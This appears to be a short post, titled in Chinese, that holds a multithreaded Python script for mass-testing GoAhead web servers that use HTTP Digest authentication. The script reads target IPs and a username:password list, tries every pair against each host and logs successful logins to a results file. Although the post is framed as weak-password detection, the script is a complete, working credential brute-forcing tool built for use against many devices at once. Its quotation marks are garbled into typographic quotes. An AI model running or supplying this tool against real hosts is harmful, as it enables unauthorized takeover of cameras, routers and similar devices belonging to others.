批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time


ip_file_name = ‘ip.txt‘
password_file_name = ‘password.txt‘
results_file_name = ‘results.txt‘
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local()

#read ip_file
def get_ip():
    if os.path.exists(os.getcwd() + ‘/‘ + ip_file_name):
        with open(ip_file_name, ‘r‘) as r:
            list = []
            for line in r.readlines():
                line = line.strip(‘\n‘)
                line = ‘http://‘ + line
                list.append(line)
            r.close()
            return list
    else:
        print(‘ip file doesn\‘t exist!\n‘)
        os._exit(-1)

#read password_file
def get_password():
    if os.path.exists(os.getcwd() + ‘/‘ + password_file_name):
        with open(password_file_name, ‘r‘) as pa:
            list = []
            for line in pa.readlines():
                line = line.strip(‘\n‘)
                list.append(line)
            pa.close()
        return list
    else:
        print(‘password file doesn\‘t exist!\n‘)
        os._exit(-1)

class MyThread(threading.Thread):
    def __init__(self, thread_index, ip_list, pass_list, results_file):
        threading.Thread.__init__(self)
        self.thread_index = thread_index
        self.ip_list = ip_list
        self.pass_list = pass_list
        self.results_file = results_file
    
    def run(self):
        local.thread_index = self.thread_index
        #Calculate the number of tasks assigned.
        if ip_count <= default_thread_count:
            local.my_number = 1
        else:
            local.my_number = (int)(ip_count/thread_count)
            if ip_count%thread_count > thread_index:
                local.my_number = local.my_number + 1
        
        for local.times in range(local.my_number):
            try:
                local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
                #Check whether the target is a digest authentication.
                local.headers = str(requests.get(local.ip, timeout=6).headers)
                if ‘Digest‘ not in local.headers:
                    continue
            except BaseException:
                ‘‘‘
                e = sys.exc_info()
                print(e)
                ‘‘‘
                continue
            #Loop to submit account password.
            for local.user in self.pass_list:
                #sleep 0.1 second to prevent overloading of target
                time.sleep(0.1)
                #Get the account password by cutting local.user
                local.colon_index = local.user.find(‘:‘)
                if local.colon_index == -1:
                    print(local.user+‘ doesn\‘t Conform to the specifications‘)
                    os._exit(1)
                local.username = local.user[0:local.colon_index]
                local.password = local.user[local.colon_index+1:]
                if local.password == ‘<empty>‘:
                    local.password = ‘‘
                try:
                    local.timeouts = 0
                    #Start Digest authentication
                    local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
                    #If the status code is 200,the login is success 
                    if local.code.status_code == 200 :
                        print(‘login ‘+local.ip+‘ success!‘)
                        self.results_file.writelines(local.ip+‘ ‘+local.username+‘ ‘+local.password+‘\n‘)
                        break
                except BaseException:
                        ‘‘‘
                        e = sys.exc_info()
                        print(str(local.thread_index)+‘ ‘+local.ip+‘ ‘+local.username+‘ ‘+local.password)
                        print(e)
                        ‘‘‘
                        #If the times of timeout is too many, check the next IP.
                        local.timeouts += 1
                        if local.timeouts == 15:
                            local.timeouts = 0
                            break
                        else:
                            continue

if __name__ == ‘__main__‘:
    
    ip_list = get_ip()
    pass_list = get_password()
    
    if len(ip_list)==0 or len(pass_list)==0:
        print(‘please fill ip, username or password file‘)
        os._exit(-1)
    
    ip_count = len(ip_list)
    if ip_count <= default_thread_count:
        thread_count = ip_count
    else:
        thread_count = default_thread_count
    
    print(‘start to work...‘)
    #create threads and run
    threads = []
    with open(results_file_name, mode=‘a‘) as results_file:
        for thread_index in range(thread_count):
            thread = MyThread(thread_index, ip_list, pass_list, results_file)
            thread.start()
            threads.append(thread)
        for thread in threads:
            #wait for all threads to end
            thread.join()
        results_file.close()
    
    print(‘All work has been completed.‘)